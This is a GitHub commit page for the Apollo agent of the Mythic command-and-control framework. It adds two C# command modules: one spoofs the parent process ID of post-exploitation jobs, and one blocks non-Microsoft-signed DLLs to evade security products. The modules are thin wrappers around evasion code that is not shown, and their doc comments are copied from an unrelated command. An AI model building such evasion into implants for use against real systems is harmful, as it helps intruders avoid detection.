-
Notifications
You must be signed in to change notification settings - Fork 97
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #52 from MythicAgents/dev
ppid, blockdlls, bug fixes, and documentation
- Loading branch information
Showing
23 changed files
with
610 additions
and
48 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
58 changes: 58 additions & 0 deletions
58
Payload_Type/apollo/agent_code/Apollo/CommandModules/BlockDlls.cs
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,58 @@ | ||
#define COMMAND_NAME_UPPER | ||
|
||
#if DEBUG | ||
#undef BLOCKDLLS | ||
#define BLOCKDLLS | ||
#endif | ||
|
||
#if BLOCKDLLS | ||
using System; | ||
using System.Linq; | ||
using System.Text; | ||
using Apollo.Jobs; | ||
using Apollo.Tasks; | ||
using Apollo.Evasion; | ||
using Newtonsoft.Json; | ||
|
||
namespace Apollo.CommandModules | ||
{ | ||
class BlockDlls | ||
{ | ||
|
||
public struct BlockDllArgs | ||
{ | ||
public bool block; | ||
} | ||
|
||
/// <summary> | ||
/// Change the sacrificial process that's spawned for certain post-exploitation jobs | ||
/// such as execute assembly. Valid taskings are spawnto_x64 and spawnto_x86. If the | ||
/// file does not exist or the file is not of an executable file type, the job | ||
/// will return an error message. | ||
/// </summary> | ||
/// <param name="job">Job associated with this task. The filepath is specified by job.Task.parameters.</param> | ||
/// <param name="agent">Agent this task is run on.</param> | ||
/// | ||
public static void Execute(Job job, Agent agent) | ||
{ | ||
Task task = job.Task; | ||
BlockDllArgs args = JsonConvert.DeserializeObject<BlockDllArgs>(job.Task.parameters); | ||
|
||
if (EvasionManager.BlockDlls(args.block)) | ||
{ | ||
if (args.block) | ||
{ | ||
job.SetComplete($"Blocking non-Microsoft-signed DLLs."); | ||
} else | ||
{ | ||
job.SetComplete("All DLLs can be loaded into post-ex processes."); | ||
} | ||
} | ||
else | ||
{ | ||
job.SetError($"Failed to set block DLLs."); | ||
} | ||
} | ||
} | ||
} | ||
#endif |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
52 changes: 52 additions & 0 deletions
52
Payload_Type/apollo/agent_code/Apollo/CommandModules/Ppid.cs
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,52 @@ | ||
#define COMMAND_NAME_UPPER | ||
|
||
#if DEBUG | ||
#undef PPID | ||
#define PPID | ||
#endif | ||
|
||
#if PPID | ||
using System; | ||
using System.Linq; | ||
using System.Text; | ||
using Apollo.Jobs; | ||
using Apollo.Tasks; | ||
using Apollo.Evasion; | ||
using Newtonsoft.Json; | ||
|
||
namespace Apollo.CommandModules | ||
{ | ||
class Ppid | ||
{ | ||
|
||
public struct PpidArgs | ||
{ | ||
public int ppid; | ||
} | ||
|
||
/// <summary> | ||
/// Change the sacrificial process that's spawned for certain post-exploitation jobs | ||
/// such as execute assembly. Valid taskings are spawnto_x64 and spawnto_x86. If the | ||
/// file does not exist or the file is not of an executable file type, the job | ||
/// will return an error message. | ||
/// </summary> | ||
/// <param name="job">Job associated with this task. The filepath is specified by job.Task.parameters.</param> | ||
/// <param name="agent">Agent this task is run on.</param> | ||
/// | ||
public static void Execute(Job job, Agent agent) | ||
{ | ||
Task task = job.Task; | ||
PpidArgs args = JsonConvert.DeserializeObject<PpidArgs>(job.Task.parameters); | ||
|
||
int pid = args.ppid; | ||
if (EvasionManager.SetParentProcessId(pid)) | ||
{ | ||
job.SetComplete($"Set parent process ID of post-ex jobs to {pid}"); | ||
} else | ||
{ | ||
job.SetError($"Failed to set parent process ID to {pid}. Ensure process with ID {pid} is running."); | ||
} | ||
} | ||
} | ||
} | ||
#endif |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.